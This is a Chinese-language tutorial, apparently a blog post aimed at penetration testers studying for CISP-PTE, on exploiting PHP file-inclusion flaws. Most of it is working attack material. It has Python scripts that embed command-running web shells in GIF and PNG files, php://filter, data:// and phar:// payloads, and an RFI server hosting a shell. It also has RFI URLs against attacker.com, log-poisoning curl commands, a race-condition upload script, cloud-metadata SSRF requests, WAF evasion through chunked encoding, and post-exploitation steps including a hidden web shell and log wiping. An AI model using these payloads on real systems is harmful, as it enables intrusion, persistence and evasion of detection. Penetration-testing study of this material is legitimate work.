从图片木马到RFI攻击:文件包含漏洞的7种花式利用姿势

📅 发布时间:2026/7/6 19:57:00 👁️ 浏览次数:
从图片木马到RFI攻击:文件包含漏洞的7种花式利用姿势
从图片木马到RFI攻击文件包含漏洞的7种花式利用姿势在Web安全的世界里文件包含漏洞就像一把隐藏的钥匙它本身可能并不起眼但一旦被攻击者掌握就能打开通往服务器核心区域的大门。想象一下一个看似无害的图片上传功能或者一个简单的配置文件读取接口如果存在文件包含漏洞攻击者就能通过这些看似正常的入口执行任意代码、读取敏感文件甚至完全控制整个服务器。这种漏洞的可怕之处在于它的隐蔽性和破坏力——它不像SQL注入那样有明显的语法特征也不像XSS那样容易被用户感知它静静地存在于代码的逻辑深处等待着被触发。对于安全研究人员和渗透测试工程师来说文件包含漏洞的利用是一门需要深度理解和创造性思维的技术。它不仅仅是简单的路径遍历更涉及到对服务器配置、编程语言特性、文件处理机制等多方面的综合理解。从最基础的本地文件包含到复杂的远程文件包含从简单的路径绕过到利用各种伪协议进行深度渗透每一种利用方式都像是一把独特的钥匙能够打开不同的锁。特别是在CISP-PTE这样的专业认证考试中对文件包含漏洞的深入理解和实战能力是衡量一个渗透测试工程师技术水平的重要标尺。今天我们就来深入探讨文件包含漏洞的七种高级利用技巧。这些技巧不仅仅是理论上的可能性而是经过实战检验的有效方法。我们将从最经典的图片木马绕过开始逐步深入到GIF二次渲染的巧妙利用再到各种伪协议的灵活运用最后通过Python搭建恶意服务器来模拟完整的远程文件包含攻击链。无论你是正在准备CISP-PTE认证的安全从业者还是希望提升自己Web安全技能的研究人员这篇文章都将为你提供实用的技术视角和操作指南。1. 理解文件包含漏洞的本质与危害文件包含漏洞的核心问题在于“信任”——程序过度信任了用户提供的文件路径参数。在PHP、JSP、ASP等动态网页技术中开发者经常使用包含函数来引入公共的头部、尾部、配置文件或功能模块。这种设计本身是为了提高代码的复用性和可维护性但当包含文件的路径参数可以被用户控制时危险就悄然降临了。1.1 漏洞产生的根本原因让我们先看看一个典型的漏洞代码示例?php $page $_GET[page]; include($page . .php); ?这段代码看起来简单无害它试图根据用户传入的page参数来包含对应的PHP文件。但问题在于攻击者可以传入../../../etc/passwd这样的路径从而读取系统敏感文件。更危险的是如果服务器配置不当攻击者甚至可以通过包含远程服务器上的恶意文件来执行任意代码。文件包含漏洞主要分为两种类型本地文件包含LFI包含服务器本地文件系统上的文件远程文件包含RFI包含远程服务器上的文件注意RFI漏洞的利用需要服务器开启allow_url_fopen和allow_url_include配置。在PHP 5.2.0之后的版本中allow_url_include默认是关闭的但这并不意味着RFI已经绝迹——很多老旧系统或者配置不当的服务器仍然存在这个风险。1.2 实际危害的严重性文件包含漏洞的危害程度往往被低估。很多人认为它“只能读取文件”但实际上它的危害远不止于此敏感信息泄露是最直接的危害。通过包含/etc/passwd、/etc/shadow、配置文件、数据库连接文件等攻击者可以获取系统的关键信息# 常见的敏感文件路径 /etc/passwd # 用户账户信息 /etc/shadow # 用户密码哈希 /proc/self/environ # 环境变量信息 /var/log/apache2/access.log # Web访问日志 /config/database.php # 数据库配置文件代码执行是更危险的后果。如果攻击者能够上传一个包含PHP代码的文件即使后缀不是.php然后通过文件包含漏洞来包含这个文件PHP解释器就会执行其中的代码。这就是为什么“图片木马”能够成功的原因——服务器在包含文件时并不关心文件的实际内容是什么只要它被当作PHP文件来解析其中的PHP代码就会被执行。服务器完全沦陷是最终的结局。一旦攻击者能够执行任意代码他们就可以创建Web Shell获得持久化访问权限提权获取root权限横向移动攻击内网其他服务器安装后门、挖矿程序等恶意软件2. 图片木马的进阶绕过技巧图片木马是文件包含漏洞利用中最经典也最有效的方法之一。它的基本原理是将PHP代码嵌入到图片文件中然后利用文件上传功能将图片传到服务器最后通过文件包含漏洞来执行图片中的PHP代码。听起来简单但在实际渗透测试中会遇到各种过滤和检测机制这就需要我们掌握多种绕过技巧。2.1 基础图片木马制作最基础的图片木马制作方法是通过命令行工具将PHP代码追加到图片文件末尾# 在Linux系统下 echo ?php phpinfo(); ? image.jpg # 在Windows系统下 copy /b image.jpg shell.php final_image.jpg这种方法制作的图片木马虽然简单但很容易被安全检测发现。现代的上传检测机制会检查文件的内容而不仅仅是扩展名这就需要更高级的绕过技术。2.2 GIF二次渲染绕过技术当服务器对上传的图片进行“二次渲染”时——即重新生成图片文件以确保其安全性——传统的图片木马就会失效。因为二次渲染会丢弃所有非图片数据只保留有效的图像信息。但GIF格式的特性为我们提供了绕过机会。GIF文件由多个帧组成每一帧都有独立的图像数据。二次渲染通常只会处理第一帧而忽略后续帧中的异常数据。我们可以利用这个特性在GIF文件的后续帧中嵌入PHP代码。操作步骤详解准备原始GIF文件选择一个简单的GIF图片作为载体。单帧的GIF效果最好因为结构简单便于修改。分析GIF文件结构使用十六进制编辑器打开GIF文件了解其结构。一个典型的GIF文件包含文件头GIF89a或GIF87a逻辑屏幕描述符全局颜色表可选图像数据块文件结束符定位插入点在第一个图像数据块之后、文件结束符之前插入PHP代码。关键是要确保不破坏GIF的文件结构。构造恶意GIF使用Python脚本自动化这个过程def create_malicious_gif(original_gif_path, php_code, output_path): with open(original_gif_path, rb) as f: gif_data f.read() # 查找第一个图像数据块的结束位置 # GIF中图像数据块以0x2C开始以0x00结束 image_start gif_data.find(b\x2C) if image_start -1: raise ValueError(不是有效的GIF文件) # 查找图像数据块的结束 # 需要解析GIF的LZW压缩数据这里简化处理 # 在实际操作中可能需要更复杂的解析 # 在文件末尾前插入PHP代码 php_bytes php_code.encode(utf-8) malicious_gif gif_data[:-1] php_bytes b\x3B # 0x3B是GIF结束符 with open(output_path, wb) as f: f.write(malicious_gif) print(f恶意GIF已保存到: {output_path}) # 使用示例 create_malicious_gif(original.gif, ?php system($_GET[cmd]); ?, malicious.gif)验证与利用上传修改后的GIF文件然后通过文件包含漏洞包含这个文件。如果服务器配置允许其中的PHP代码就会被执行。提示这种方法成功的关键在于服务器对GIF文件的处理方式。有些严格的二次渲染实现会检查每一帧的数据这种情况下可能需要尝试其他格式或更复杂的技巧。2.3 针对不同图片格式的绕过策略不同的图片格式有不同的特性和检测难点图片格式特点绕过难点推荐方法JPEG有损压缩结构复杂二次渲染会重新编码破坏嵌入代码在EXIF数据中嵌入代码PNG无损压缩有校验和IDAT块有CRC校验修改会失败在tEXt或zTXt块中添加代码GIF多帧动画结构相对简单二次渲染可能只处理第一帧在后续帧或注释块中添加代码BMP无压缩结构简单容易被检测文件大小异常在颜色表或保留区域添加代码PNG文件利用示例PNG文件允许在tEXt块中存储文本信息我们可以将PHP代码放在这里import struct def create_malicious_png(original_png, php_code, output_png): with open(original_png, rb) as f: png_data f.read() # PNG文件签名 png_signature b\x89PNG\r\n\x1a\n # 查找IDAT块之前的位置插入tEXt块 idat_pos png_data.find(bIDAT) if idat_pos -1: raise ValueError(不是有效的PNG文件) # 构造tEXt块 keyword Comment text php_code # tEXt块结构长度(4字节) 块类型(4字节) 数据 CRC(4字节) chunk_type btEXt chunk_data keyword.encode(ascii) b\x00 text.encode(utf-8) chunk_length len(chunk_data) # 计算CRC import zlib crc zlib.crc32(chunk_type chunk_data) # 构建完整的tEXt块 text_chunk struct.pack(I, chunk_length) chunk_type chunk_data struct.pack(I, crc) # 在IDAT块之前插入tEXt块 malicious_png png_data[:idat_pos-4] text_chunk png_data[idat_pos-4:] with open(output_png, wb) as f: f.write(malicious_png)这种方法创建的PNG文件在大多数图像查看器中能正常显示但其中的PHP代码在文件包含时可能被执行具体取决于服务器如何处理tEXt块。3. 伪协议的深度利用与组合技巧PHP提供了多种伪协议Wrapper这些原本为了方便开发者的功能在攻击者手中变成了强大的武器。理解每个伪协议的特性和使用场景是高级文件包含利用的关键。3.1 php://filter的多种用法php://filter是最常用也最强大的伪协议之一。它允许我们对数据流进行过滤处理这在文件包含漏洞利用中有多种用途。读取源代码最基本的用法是读取PHP文件的源代码避免其被执行php://filter/readconvert.base64-encode/resourceindex.php这个payload会将index.php文件的内容以base64编码的形式输出而不是执行它。这对于获取应用程序的源代码、寻找其他漏洞或提取硬编码的敏感信息非常有用。多层过滤链php://filter支持多个过滤器串联使用形成处理链php://filter/readstring.toupper|string.rot13/resourceconfig.php这个例子先将文件内容转换为大写然后进行ROT13编码。虽然这个特定的例子可能没有实际攻击价值但它展示了过滤器的灵活性。在实际利用中我们可以根据具体情况组合不同的过滤器。写入文件除了读取php://filter还可以用于写入文件这在某些情况下可以用于创建Web Shell?php // 假设存在文件包含漏洞的代码 $file $_GET[file]; include($file); // 攻击者可以传入以下payload // filephp://filter/writeconvert.base64-decode/resourceshell.phpdataPD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4 // 这会在服务器上创建一个包含base64解码后内容的shell.php文件注意这种利用方式需要服务器配置允许php://filter的写操作并且攻击者能够控制写入的内容。在实际测试中这种条件比较少见但了解这种可能性很重要。3.2 data://协议的实际应用data://协议允许直接在URL中嵌入数据这对于文件包含漏洞来说是一个直接执行代码的途径。基本语法data://text/plain,?php phpinfo(); ? data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg绕过限制的技巧编码绕过当逗号被过滤时可以使用分号data://text/plain;?php phpinfo(); ?利用base64当某些字符被过滤时使用base64编码data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4结合其他协议在某些情况下可以与其他协议结合使用php://filter/convert.base64-decode/resourcedata://text/plain;base64,SSBsb3ZlIFBIUAo实际案例在一次真实的渗透测试中目标系统对文件包含参数进行了严格的过滤不允许包含远程文件也不允许使用php://input。但是data://协议没有被过滤。攻击者构造了以下payloadhttp://target.com/vuln.php?pagedata://text/plain,?php $ffopen(shell.php,w);fwrite($f,?php eval($_POST[cmd]);?);fclose($f);?这个payload会在服务器上创建一个Web Shell文件。由于data://协议的内容被视为文件内容其中的PHP代码会被执行。3.3 zip://和phar://协议的高级利用zip://和phar://协议允许我们通过归档文件来包含其中的特定文件。这在绕过扩展名限制时特别有用。zip://协议zip:///path/to/archive.zip%23file.php注意#需要URL编码为%23并且路径必须是绝对路径。phar://协议phar:///path/to/archive.phar/file.phpphar://比zip://更强大它支持多种压缩格式并且有更灵活的使用方式。实战技巧绕过扩展名限制如果服务器要求包含的文件必须以.php结尾我们可以将恶意PHP文件打包到ZIP中echo ?php phpinfo(); ? shell.php zip archive.zip shell.php然后使用zip:///path/to/archive.zip%23shell.php结合文件上传如果系统允许上传ZIP文件但不允许上传PHP文件我们可以上传包含PHP文件的ZIP压缩包然后通过文件包含漏洞执行其中的PHP文件。phar的反序列化利用phar://协议有一个鲜为人知的特性——当包含phar文件时会自动反序列化metadata。这可以用于触发反序列化漏洞// 创建恶意的phar文件 class Evil { public function __destruct() { system($_GET[cmd]); } } $phar new Phar(evil.phar); $phar-startBuffering(); $phar-addFromString(test.txt, test); $phar-setMetadata(new Evil()); $phar-stopBuffering(); // 通过文件包含触发 // include(phar://evil.phar);3.4 其他有用协议概览除了上述常用协议外还有一些其他协议在特定场景下有用协议用途示例file://访问本地文件系统file:///etc/passwdhttp://包含远程文件RFIhttp://attacker.com/shell.txtftp://通过FTP包含文件ftp://user:passattacker.com/shell.phpexpect://执行系统命令需安装expect扩展expect://lsglob://查找匹配的文件模式glob:///var/log/*.log重要提醒expect://协议非常危险如果服务器安装了expect扩展并且配置不当攻击者可以直接执行系统命令。不过现代PHP环境默认不安装这个扩展。4. 远程文件包含RFI的完整攻击链构建远程文件包含RFI是文件包含漏洞中最危险的一种因为它允许攻击者从远程服务器加载并执行代码。虽然现代PHP版本默认关闭了相关配置但在老旧系统或配置不当的服务器上RFI仍然是一个严重的威胁。4.1 RFI利用条件与环境搭建要成功利用RFI漏洞需要满足以下条件服务器配置allow_url_fopen Onallow_url_include OnPHP 5.2.0目标代码包含函数的参数用户可控没有或可以绕过前缀/后缀限制攻击准备可控的远程服务器能够在该服务器上托管恶意文件搭建恶意服务器使用Python快速搭建一个HTTP服务器来托管恶意文件from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse class RFIHandler(BaseHTTPRequestHandler): def do_GET(self): # 解析请求路径 parsed_path urllib.parse.urlparse(self.path) # 根据请求路径返回不同的恶意内容 if parsed_path.path /shell.txt: # 返回一个简单的PHP Shell content b?php if(isset($_GET[\cmd\])) { system($_GET[\cmd\]); } else { echo RFI Test Successful!; } ? self.send_response(200) self.send_header(Content-Type, text/plain) self.send_header(Content-Length, str(len(content))) self.end_headers() self.wfile.write(content) elif parsed_path.path /info.php: # 返回phpinfo()页面 content b?php phpinfo(); ? self.send_response(200) self.send_header(Content-Type, text/plain) self.send_header(Content-Length, str(len(content))) self.end_headers() self.wfile.write(content) else: self.send_response(404) self.end_headers() def log_message(self, format, *args): # 简化日志输出 print(fRFI Server - {self.address_string()} - {format%args}) def run_rfi_server(port8000): server_address (, port) httpd HTTPServer(server_address, RFIHandler) print(fStarting RFI server on port {port}...) httpd.serve_forever() if __name__ __main__: run_rfi_server()这个Python脚本创建了一个简单的HTTP服务器当访问/shell.txt时返回一个PHP Web Shell访问/info.php时返回phpinfo()页面。在实际攻击中攻击者会将这个服务器部署在公网可访问的机器上。4.2 绕过常见限制的技巧在实际的渗透测试中目标系统往往会对RFI进行各种限制。以下是一些常见的限制和绕过方法限制1后缀限制如果代码添加了固定的后缀如.phpinclude($_GET[page] . .php);绕过方法使用?或#截断PHP版本 5.3.4http://attacker.com/shell.txt? http://attacker.com/shell.txt%23使用路径遍历http://attacker.com/shell.txt/../../../../../../etc/passwd利用某些环境下的空字节截断PHP版本 5.3http://attacker.com/shell.txt%00限制2协议白名单有些系统只允许包含特定协议的文件if(strpos($_GET[page], http://) ! 0 strpos($_GET[page], https://) ! 0) { die(Invalid protocol); }绕过方法使用大小写变异hTtp://attacker.com/shell.txt HTTP://attacker.com/shell.txt使用其他协议ftp://attacker.com/shell.txt //attacker.com/shell.txt (协议相对URL)利用URL解析特性http://attacker.comevil.com/shell.txt限制3域名白名单/黑名单系统可能只允许包含特定域名的文件$allowed_domains [example.com, trusted.com]; $domain parse_url($_GET[page], PHP_URL_HOST); if(!in_array($domain, $allowed_domains)) { die(Domain not allowed); }绕过方法使用子域名http://trusted.com.evil.com/shell.txt利用DNS重绑定http://trusted.com/shell.txt # 初始解析到trusted.com然后重绑定到evil.com使用IP地址http://192.168.1.100/shell.txt4.3 高级RFI攻击场景场景一利用RFI进行内网探测RFI不仅可以执行代码还可以用于内网探测。通过包含内网服务的错误页面或特定文件可以判断服务是否存在?php // 内网探测脚本 $targets [ http://192.168.1.1/, http://192.168.1.2/, http://192.168.1.100/phpmyadmin/, http://192.168.1.101:8080/, ]; foreach($targets as $target) { $context stream_context_create([http [timeout 2]]); $response file_get_contents($target, false, $context); if($response ! false) { echo Found: $target\n; // 可以进一步分析响应内容 } } ?场景二RFI与SSRF结合如果RFI漏洞允许包含内部URL它可以与SSRF服务器端请求伪造结合攻击内网服务http://target.com/vuln.php?pagehttp://127.0.0.1:8080/admin http://target.com/vuln.php?pagehttp://169.254.169.254/latest/meta-data/第一个例子尝试访问本地的管理界面第二个例子尝试访问云服务的元数据接口如果目标在云环境中。场景三利用RFI进行分布式攻击攻击者可以在多个服务器上部署恶意文件然后通过RFI漏洞让目标服务器同时请求这些文件形成DDoS攻击?php // 分布式加载脚本 $urls [ http://server1.attacker.com/load.php, http://server2.attacker.com/load.php, http://server3.attacker.com/load.php, ]; foreach($urls as $url) { // 异步请求避免阻塞 $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 1); // 短超时快速失败 curl_exec($ch); curl_close($ch); } ?5. 日志文件包含与条件竞争利用除了直接的文件包含还有一些间接的利用方法这些方法往往能绕过更严格的过滤机制。5.1 日志文件包含技术Web服务器日志文件记录了所有的访问请求包括请求参数。如果攻击者能够将PHP代码注入到日志文件中然后通过文件包含漏洞包含日志文件就能执行代码。攻击步骤确定日志文件位置常见的Web服务器日志文件路径Apache: /var/log/apache2/access.log /var/log/httpd/access_log Nginx: /var/log/nginx/access.log IIS: C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log注入PHP代码到日志通过User-Agent或Referer头注入代码curl -H User-Agent: ?php phpinfo(); ? http://target.com/或者通过访问不存在的路径将代码注入到404日志curl http://target.com/?php phpinfo(); ?包含日志文件http://target.com/vuln.php?page/var/log/apache2/access.log实战技巧日志文件通常很大包含整个文件可能导致内存不足。可以使用tail命令或PHP的file_get_contents配合偏移量来读取最后的部分。某些服务器配置了日志轮转需要注意日志文件的命名规则。如果日志文件不可读可以尝试包含错误日志、FTP日志、邮件日志等其他日志文件。5.2 条件竞争漏洞利用在某些情况下文件包含漏洞的利用需要精确的时间控制这就是条件竞争Race Condition的用武之地。场景临时文件包含假设一个应用有这样的逻辑用户上传文件服务器检查文件类型如果类型正确移动到永久位置如果类型错误删除临时文件如果攻击者能在第2步和第3步之间通过文件包含漏洞包含这个临时文件就能执行其中的恶意代码。自动化攻击脚本import requests import threading import time target_url http://target.com/upload.php lfi_url http://target.com/vuln.php?page/tmp/phpXXXXXX # XXXXXX是PHP临时文件模式 def upload_file(): 不断上传恶意文件 while True: files {file: (shell.php, ?php system($_GET[cmd]); ?, image/jpeg)} requests.post(target_url, filesfiles) time.sleep(0.1) def include_file(): 不断尝试包含临时文件 while True: for i in range(100): # 尝试常见的临时文件名 temp_file f/tmp/php{i:06d} url lfi_url.replace(XXXXXX, f{i:06d}) try: response requests.get(url, timeout1) if success in response.text.lower(): print(f[] Found temporary file: {temp_file}) return except: pass time.sleep(1) # 启动多个线程同时进行 threads [] for _ in range(10): t threading.Thread(targetupload_file) t.daemon True threads.append(t) t.start() include_thread threading.Thread(targetinclude_file) include_thread.start() include_thread.join()这个脚本创建了多个线程不断上传文件同时另一个线程尝试包含可能的临时文件。由于PHP的临时文件名是可预测的phpXXXXXX其中XXXXXX是随机字符通过暴力尝试可以找到正确的文件名。5.3 /proc文件系统利用Linux系统的/proc文件系统包含了大量关于进程和系统的信息。在某些情况下这些文件可以被包含执行。有用的/proc文件/proc/self/environ- 当前进程的环境变量/proc/self/fd/[0-9]*- 文件描述符/proc/[pid]/cmdline- 进程命令行参数/proc/[pid]/environ- 进程环境变量利用环境变量注入如果攻击者能够控制环境变量例如通过User-Agent就可以将PHP代码注入到/proc/self/environ中# 设置恶意User-Agent curl -H User-Agent: ?php phpinfo(); ? http://target.com/ # 包含环境变量文件 http://target.com/vuln.php?page/proc/self/environ利用文件描述符当PHP处理文件上传时会创建临时文件并打开文件描述符。攻击者可以尝试包含这些文件描述符http://target.com/vuln.php?page/proc/self/fd/10需要尝试不同的文件描述符编号通常在上传文件后立即尝试包含。6. 防御绕过与混淆技术随着安全防护技术的进步简单的文件包含利用往往会被WAFWeb应用防火墙或IDS入侵检测系统拦截。这就需要我们掌握各种绕过和混淆技术。6.1 编码与双重编码URL编码绕过原始 http://evil.com/shell.php 编码 http%3A%2F%2Fevil.com%2Fshell.php 双重编码http%253A%252F%252Fevil.com%252Fshell.phpBase64编码原始 ?php phpinfo(); ? Base64PD9waHAgcGhwaW5mbygpOyA/Pg 在data协议中使用data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg十六进制编码原始 /etc/passwd 十六进制2f6574632f706173737764 在PHP中使用php://filter/readconvert.hex2bin/resourcedata://text/plain,2f6574632f7061737377646.2 字符串拼接与变形字符串拼接// 原始payload include($_GET[page]); // 绕过过滤的payload $page ht.tp:/./ev.il.c.om/s.hell.p.hp; include($page);或者通过参数传递pagehtpage2tp:/page3/evil.com/shell.php大小写变异PHP://input PhP://Filter pHp://InPuT插入空字符在某些环境下空字符会被忽略php://filter/readconvert.base64-encode/resourceindex.php%00使用制表符和换行符php://filter/readconvert.base64-encode/resourceindex.php\t php://filter/readconvert.base64-encode/resourceindex.php\n6.3 利用PHP特性动态函数调用// 原始 include($page); // 变形 $func incl.ude; $func($page); // 或者 call_user_func(include, $page);变量变量$$a include; $$a($page);反射$reflection new ReflectionFunction(include); $reflection-invoke($page);6.4 实际绕过案例假设目标系统有以下过滤规则过滤http://、https://、ftp://等协议字符串过滤../等路径遍历字符串要求文件扩展名为.php绕过方案http://target.com/vuln.php?pagedata://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pgext.php或者使用zip协议http://target.com/vuln.php?pagezip:///tmp/shell.jpg%23shell.php这里将PHP文件打包到JPG中然后通过zip协议包含其中的PHP文件既绕过了扩展名检查又绕过了内容检查。7. 实战演练从发现到利用的完整过程现在让我们通过一个完整的实战案例将前面介绍的各种技术结合起来展示如何从发现文件包含漏洞到最终获得服务器权限的全过程。7.1 目标识别与信息收集假设我们发现了这样一个URLhttp://target.com/index.php?pageabout.php第一步测试文件包含漏洞尝试包含一个不存在的文件观察错误信息http://target.com/index.php?page../../../../etc/passwd如果返回类似Warning: include() [function.include]: failed to open stream的错误说明可能存在文件包含漏洞。第二步确定漏洞类型测试本地文件包含http://target.com/index.php?page/etc/passwd测试远程文件包含http://target.com/index.php?pagehttp://attacker.com/test.txt根据响应判断是LFI还是RFI。7.2 漏洞利用与权限提升情况一本地文件包含LFI读取敏感文件/etc/passwd /etc/shadow /var/www/html/config.php /proc/self/environ通过日志文件获取Shell确定Web服务器类型和日志位置注入PHP代码到User-Agent包含日志文件执行代码通过上传功能获取Shell上传图片木马包含上传的图片文件执行系统命令情况二远程文件包含RFI搭建恶意服务器# 简单的PHP Shell with open(shell.php, w) as f: f.write(?php if(isset($_GET[cmd])) { system($_GET[cmd]); } ?)触发RFIhttp://target.com/index.php?pagehttp://attacker.com/shell.php执行命令http://target.com/index.php?pagehttp://attacker.com/shell.phpcmdid7.3 后渗透与权限维持获得初始访问权限后需要进一步巩固成果1. 建立持久化访问?php // 创建更隐蔽的Web Shell $password s3cr3tPss; if(isset($_POST[p]) $_POST[p] $password) { if(isset($_POST[cmd])) { system($_POST[cmd]); } if(isset($_FILES[file])) { move_uploaded_file($_FILES[file][tmp_name], $_FILES[file][name]); echo File uploaded successfully.; } } ?2. 提权尝试查看系统信息uname -a查看当前用户权限sudo -l查找SUID文件find / -perm -4000 2/dev/null查找可写目录find / -type d -writable 2/dev/null3. 清理痕迹删除访问日志中的相关条目使用touch -r恢复文件时间戳隐藏进程和文件7.4 防御检测与绕过在实际渗透测试中还需要考虑如何绕过防御系统WAF绕过技巧分块传输将请求分块发送绕过基于正则的检测协议混淆使用不常见的协议或协议组合编码变异混合使用多种编码方式请求头污染添加多个相同的请求头混淆WAF示例分块传输绕过import requests # 正常的恶意请求 malicious_payload pagephp://filter/readconvert.base64-encode/resource/etc/passwd # 分块传输 chunks [malicious_payload[i:i10] for i in range(0, len(malicious_payload), 10)] url http://target.com/index.php headers {Transfer-Encoding: chunked} # 构建分块请求 data for chunk in chunks: data f{hex(len(chunk))[2:]}\r\n{chunk}\r\n data 0\r\n\r\n response requests.post(url, headersheaders, datadata) print(response.text)这个示例展示了如何通过分块传输编码来绕过某些WAF的检测。分块传输允许将请求体分成多个小块发送这可以绕过一些基于完整请求体检测的WAF规则。在实际测试中我发现最有效的防御绕过方法往往是组合使用多种技术。比如先对payload进行base64编码然后进行URL编码再通过分块传输发送同时添加一些无关的请求头来干扰检测。这种多层混淆虽然复杂但能有效提高绕过成功率。文件包含漏洞的利用是一个不断演进的过程随着防御技术的进步攻击技术也在不断发展。作为安全研究人员我们需要不断学习新的技术理解底层原理才能在攻防对抗中保持优势。无论是准备CISP-PTE认证还是进行实际的渗透测试深入理解文件包含漏洞的各种利用技巧都是至关重要的。